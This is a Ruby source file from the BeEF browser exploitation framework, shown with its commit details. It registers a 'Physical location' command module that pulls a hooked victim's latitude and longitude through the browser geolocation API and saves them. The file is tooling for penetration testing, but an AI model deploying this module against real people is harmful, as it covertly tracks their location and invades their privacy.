Files
beef/modules/commands/host/physical_location/physical_location.rb
antisnatchor 313fec27b5 added geolocation detection (first draft)
git-svn-id: https://beef.googlecode.com/svn/trunk@520 b87d56ec-f9c0-11de-8c8a-61c5e9addfc9
2010-11-13 17:08:30 +00:00

39 lines
763 B
Ruby

module BeEF
module Modules
module Commands
class Physical_location < BeEF::Command
def initialize
super({
'Name' => 'Physical location',
'Description' => %Q{
This module will retrieve the physical location of the victim using the geolocation API
},
'Category' => 'Host',
'Author' => ['antisnatchor'],
'File' => __FILE__,
'Target' => {
'browser_name' => BeEF::Constants::Browsers::ALL
}
})
use 'beef.geolocation'
use_template!
end
def callback
content = {}
content['Geolocation Enabled'] = @datastore['geoLocEnabled']
content['Latitude'] = @datastore['latitude']
content['Longitude'] = @datastore['longitude']
save content
end
end
end
end
end